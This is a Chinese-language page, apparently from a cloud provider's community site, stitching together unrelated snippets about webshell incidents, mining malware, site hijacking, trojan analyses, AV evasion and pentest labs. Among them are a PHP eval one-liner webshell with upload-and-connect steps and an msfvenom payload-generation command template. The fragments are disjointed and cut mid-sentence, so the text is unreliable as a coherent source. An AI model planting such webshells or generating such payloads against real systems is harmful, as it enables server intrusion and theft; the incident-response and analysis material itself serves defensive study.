很多企业网站被攻击，导致网站打开跳转到别的网站，尤其一些彩票等非法网站上去，甚至有些网站被攻击的打不开，客户无法访问首页，给客户造成了很大的经济损失，很多客户找到我们SINE安全公司寻求防止网站被攻击的解决方案，针对这一情况，我们安全部门的技术，给大家普及一下网站被攻击后该如何查找攻击源以及对检测网站存在的漏洞，防止网站再次被攻击。
关于网站，个人感觉最头痛的就两个吧，一个是ddos（攻击），一个就是劫持（流量）了，因为前者是打不开，后者呢打开了但是进的是别人的网页，感觉很头痛。大家都知道的，搜索引擎提供信息检索服务，还有你知道的，大部分搜索引擎会提供网页快照，而往往是这些快照，暴露了部分网站安全隐患。前两天一个在和一个小伙伴的聊天的时候，告诉我他的网站好像被截止了，无故跳转到SF，菠菜网站，因为你知道的，所以他很焦急。本文我就和大家分析总结一下域名劫持的一些原因还有应对方法。
我们想要进行免杀的研究，我们首先就需要进行杀毒软件的分析，杀毒软件将我们木马查杀，有以下几个方面
目前如果在腾讯云服务器上部署hadoop框架开启yarn时可能会被黑客攻击（8088yarn计算端口）。 我已经踩雷，出现的结果就是我的用户下的所有文件都被删除而且不能添加任何文件并且一旦添加文件就会被自动删除（.bashrc和.bash_profile核心文件也被删除）。 此时linux系统显示如下状态：
近日，腾讯服务器安全系统“洋葱”协助部署于公有云的某合作方捕获到一起APT事件，目前已处置完毕。处置过程中捕获木马样本一枚，该样本中包含了大量隐匿攻击手法，“洋葱”团队会同腾讯安全应急响应中心（TSRC）秉承共建行业安全生态的原则，采用威胁情报处理周期模型梳理该攻击手法，将分析结果与业界共享。
昨晚凌晨收到新客户的安全求助，说是阿里云短信提示，网站有webshell木马文件被植入，我们SINE安全公司立即成立，安全应急响应小组，客户提供了阿里云的账号密码，随即登陆阿里云进去查看到详情，登陆云盾看到有这样的一个安全提示“网站后门-发现后门(Webshell)文件”事件等级：紧急，影响资产：阿里云ECS：ID，然后贴出了网站木马文件的路径地址：/www/wangzhan/safe/indnx.php。
这两年见证了公司从600人发展到1200+的过程，虽然公司在安全投入上还算慷慨，但是人员编制有严格要求，一个人的安全部只能把精力放在基础/重点工作上。其中防病毒这块也是两年前才正式部署了企业版防病毒软件，推广过程中也遇到了很多阻力及各种奇葩的安全理念（比如生产服务器我不敢装防病毒，万一瘫了怎么办；领导的电脑，防病毒还是别装吧，装了会很慢），这期间也遇到多起病毒木马事件，每次我都会借助安全事件，狠狠的推一把防病毒软件，目前为止，已经实现所有PC和Windows服务器防病毒软件的百分百覆盖。现将几起病毒木马的处理过程整理一下跟大家分享，本系列偏向于实战。
客户的网站于近日收到了来自腾讯云的安全告警，木马文件事件通知！第一时间客户联系到我们SINE安全，把腾讯云提示的问题反馈给了我们安全技术部门，说是网站突然收到了腾讯云的邮件提醒，说什么网站有木马，服务器也存后门文件。客户以前从没有对网站，以及服务器进行安全部署与加固，导致今天发生这样的严重黑客入侵事件。
pwnriglhttps.service 存在异常，该木马在6月2日就已经存在了。
阿里云ECS服务器是目前很多网站客户在使用的，可以使用不同系统在服务器中，windows2008 windows2012,linux系统都可以在阿里云服务器中使用，前段时间我们SINE安全收到客户的安全求助，说是收到阿里云的短信提醒，提醒服务器存在挖矿进程，请立即处理的安全告警。客户网站都无法正常的打开，卡的连服务器SSH远程连接都进不去，给客户造成了很大的影响。
打开终端并输入以下命令：msfvenom -p [payload] LHOST=[IP地址] LPORT=[端口号] -f [格式] -o [文件名]
织梦网站挂马的风险很大，以往挂马后都是用备份替换。可是我替换之后，第二天又出了好多多余的木马文件，第三天木马文件的占容量又变大了，于是我就删除了，可删除之后，木马文件又出来了。我怒了，一定要找出原因来，经过好几天查找，终于找到了原因。当然也感谢黑客，让米米素材网小编也长见识了。
很多客户网站服务器被入侵，被攻击，找到我们SINE安全公司寻求技术支持与帮助，有些网站被篡改，被跳转，首页内容被替换，服务器植入木马后门，服务器卡顿，服务器异常网络连接，有的客户使用的是阿里云服务器，经常被提醒服务器有挖矿程序，以及网站被上传webshell的安全提醒，包括腾讯云提示服务器有木马文件，客户网站被攻击的第一时间，是需要立即处理的，降损失降到最低，让网站恢复正常的访问，由于每个客户找到我们SINE安全都是比较着急的，安全的处理时间也需要尽快的处理，根据我们的处理经验，我们总结了一些服务器被攻击，被黑的排查办法，专门用来检查服务器第一时间的安全问题，看发生在哪里，服务器是否被黑，是否被攻击，那些被篡改等等。
虽然题目名显示需要 Linux ，但只是 ssh 的话，显然在 Windows 的命令行直接操作即可。
0×00背景 近日，腾讯反病毒实验室拦截到一批伪装成客户通知单的木马，该木马会根据自身文件名的不同而进行多种不同的恶意行为，经测试，目前国内的多款杀毒软件尚不能查杀该病毒，多个木马的变种MD5被多款安全软件加入到白名单中，导致主动防御也失效。该木马近期持续活跃，传播量上万，该木马有以下特点： 1）通过文件名控制自身行为，根据不同的文件名有着多达六十多种不同的行为。 2）以直接通过查询远程数据库的方式获取配置信息，减少了不少工作量，但暴露了数据库的帐号密码。 3）篡改本地受信任数字证书列表，并构造证书给木马签
这里使用的是Kali linux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134
通过Google搜索网站访问的时候，会跳转到其他网站；直接通过网址访问网站的时候，不会跳转，隐蔽性极强 网站根目录的index.php和wp-config.php文件被插入 @include 代码加载恶意文件 网站很多目录会多出一些随机命名的php文件以及 .ico 文件 网站主题或插件会被插入恶意代码，并且带有特征码 Array();global 倡萌在大概2年前就遇到过这类木马，如果想彻底清理是非常麻烦的，但凡一个恶意的文件未清理干净，都可能触发再次感染，因为攻击者会不定时访问他投放的恶意文件（通过远程直接访问或服务器定时任务触发），如果这个恶意文件存在，就会再次执行。
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
Apache ActiveMQ是最流行的开源、多协议、基于 Java 的消息代理。它支持行业标准协议，用户可以从多种语言和平台的客户端使用AMQP协议集成多平台应用程序。
在快速发展的移动互联网今天，受疫情的影响，大部分人都在家远程办公，依靠于移动互联网，许多的公司最不乐意见到的便是自个耗费精力设计的企业官网，在都还没有为公司赚的相应的收益的情况下，就已经被挂黑客攻击导致网站被挂木马，而且据SINE安全统计发现，现阶段许多的公司针对网站开发并不是很了解，不明白怎样监控和防止企业网站被攻击，被挂马的发生，因此，SINE安全工程师今日刻意为各位小结一点有关于网站安全监测企业网站的方法，希望能够更佳的帮助您经营自己公司网站。
基友 szrzvdny 的朋友博客被入侵了,由于是虚拟空间,所以只有 apache 访问日志以供分析
Linux下的木马常常是恶意者通过Web的上传目录的方式上传木马到Linux服务器的，所以可从恶意者：访问网站-->Linux系统-->HTTP服务-->中间件-->程序代码-->数据库-->存储，层层设卡防护。
很对客户网站以及服务器被攻击，被黑后，留下了很多webshell文件，也叫网站木马文件，客户对自己网站的安全也是很担忧，担心网站后期会继续被攻击篡改，毕竟没有专业的安全技术去负责网站的安全防护工作，通过老客户的介绍很多客户在遇到网站被攻击后找到我们SINE安全做网站的安全服务，防止恶意攻击与篡改。对网站进行全面的防御与加固，我们在对客户网站进行安全部署的同时，客户经常会想要了解到底网站，以及服务器是如何被入侵，攻击者的IP是谁，那么我们SINESAFE技术针对这种情况，最好的办法就是通过日志进行分析，溯源追踪，帮助客户找到网站漏洞根源，到底是谁在攻击他们。下面我们来分享一下，我们是如何对日志进行分析与追查的。
随着安全防护技术水平的提高以及安全设备对攻击行为检测能力的提升，传统WEB攻击手段越来越难以有效突破防守单位的高强度防守。钓鱼攻击逐渐受到红队的重视。与传统的攻击手段相比，钓鱼攻击成功率高，往往能达到较好的攻击效果。
2.4 对模拟器网络进行配置在右边的设置里面选择设置>网络设置>网络桥接模式开启，ip设置dhcp，最下面点击安装：
早上刚上班就有新客户咨询我们Sinesafe安全公司反映说收到一条阿里云的短信过来，内容为：网站木马文件提醒018-06-20 09:20:49尊敬的***网：您的虚拟主机中有文件触发了安全防护报警规则，可能存在webshell网页木马，您可以登录虚拟主机控制台-对应主机的"管理"文件管理-网站木马查杀功能确认是否为恶意文件，相关帮助文档请参考网站木马查杀帮助。具体存在挂马的主机列表如下：IP地址域名
环境 环境地址如下： http://39.98.79.56/vuln/detail/6/ 接下来下载好后在VmWare中进行ovf导入即可，共计三个文件 📷 接下来配置网络环境，在虚拟网络编辑器中添加两个网段 1、192.168.1.0 NAT模式 用于外网 2、192.168.183.0 仅主机模式 用于内网 📷 接下来给三个虚拟机以及攻击机(kali)进行分配 DC: VMet8(192.168.183.130) Web(Ubuntu): VMet4、VMet8(192.168.1.130、192.16
基于JAVA+Vue+SpringBoot+MySQL的木马文件检测系统，包含了木马类型、木马软件档案、安全资讯、软件脆弱点、软件检测模块，还包含系统自带的用户管理、部门管理、角色管理、菜单管理、日志管理、数据字典管理、文件管理、图表展示等基础模块，木马文件检测系统基于角色的访问控制，给软件管理员、普通用户使用，可将权限精确到按钮级别，您可以自定义角色并分配权限，系统适合设计精确的权限约束需求。
发现并没有异常的IP，这倒是不奇怪，假如真的被登录了，登录日志被删除的可能性也是很大的。
这次来说说一个关于由PDF文件的栈溢出而引发的远程任意代码执行的典型老版漏洞。这枚漏洞是在2010年被发布出来，距今已快10年之久，但是漏洞却很简单粗暴，有着打开PDF文件就立马中招的效果。
前段时间在一个公众要推送的文章《黑客最想要的礼物》中看到了badusb，进行更进一层的了解，决定玩一玩这个（其实是因为这个便宜）。Badusb通过U盘达到控制服务器的效果，更加具体的通过网上去了解吧（吓得我再捡到U盘，绝对不乱插了）。
用菜刀连接：连接密码 123 由于是在当前文件夹写入的木马文件，所以是在fi_remote.php 同一目录下的
正月里来是新年，刚开始上班我们SINE安全团队，首次挖掘发现了一种新的挖矿木马，感染性极强，穿透内网，自动尝试攻击服务器以及其他网站，通过我们一系列的追踪，发现了攻击者的特征，首先使用thinkphp远程代码执行漏洞，以及ecshop getshell漏洞，phpcms缓存写入漏洞来进行攻击网站，通过网站权限来提权拿到服务器管理员权限，利用其中一台服务器作为中转，来给其他服务器下达命令，执行攻击脚本，注入挖矿木马，对一些服务器的远程管理员账号密码，mysql数据库的账号密码进行暴力猜解。
作为拥有着10年经验的渗透安全测试工程师，一路也是从小白历经磨难成长起来的我，给现在的新手小白一些建议。渗透安全的范围其实要学习的东西很广泛的，比如系统安全、移动安全、无线安全、web安全等很多方向。
在红蓝对抗的过程中，远控木马起到了相当重要的作用，而面对蓝队技术人员的种种查杀，远控木马如何在目标机器上长久的存活下去
2020年刚开始，苹果CMS被爆出数据库代码执行漏洞，大量的电影网站被挂马，尤其电影的页面被篡改植入了恶意代码，数据库中的VOD表里的d_name被全部修改，导致网站打开后直接跳转到S站或者弹窗广告，目前该maccms漏洞受影响的苹果系统版本是V8,V10，很多客户网站被反复篡改，很无奈，通过朋友介绍找到我们SINE安全寻求技术上支持，防止网站被挂马。根据客户的反应，服务器采用的是linux centos系统，苹果CMS版本是最新的V10版本，我们立即成立网站安全应急响应处理，帮助客户解决网站被攻击的问题。
测试者利用它来攻击一个系统，程序，或服务，以获得开发者意料之外的结果。常见的有内存溢出，网站程序漏洞利用，配置错误exploit。 exploits总的来说共分为两类溢出(exploit)攻击方法，即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限，被动溢出是针 对目标主机被动的监听然后获得相应的操作。 Exploit共分为13种，分别是：ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。
再次编译生成exe文件，点击运行，首先产生一个解码文件，然后再次产生可执行文件，最终达到上线，下图时
0x01 情况概述监控软件监控到服务器存在异常的访问请求，故对此服务器进行安全检查。通过提供的材料发现内网机器对某公网网站存在异常的访问请求，网络环境存在着异常的网络数据的访问情况。针对其服务器进行综合分析发现了病毒文件两例，内网扫描器两例，通过以上的发现证实服务器已被黑客入侵。0x02 取证情况2.1 目标网络情况下文中的内网内ip以及公网ip为替换后的脱
上传一句话木马文件 burpsuite进行抓包 <?php @eval($_POST['shell']);?>
近日，FreeBuf上对于一类FireCrypt木马做了相关的报道：流氓会武功：这款勒索软件不仅能勒索，还能DDoS。哈勃分析系统拿到了相关样本，并对其进行了分析。 经分析，该类样本通过木马生成器自定
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
云直播
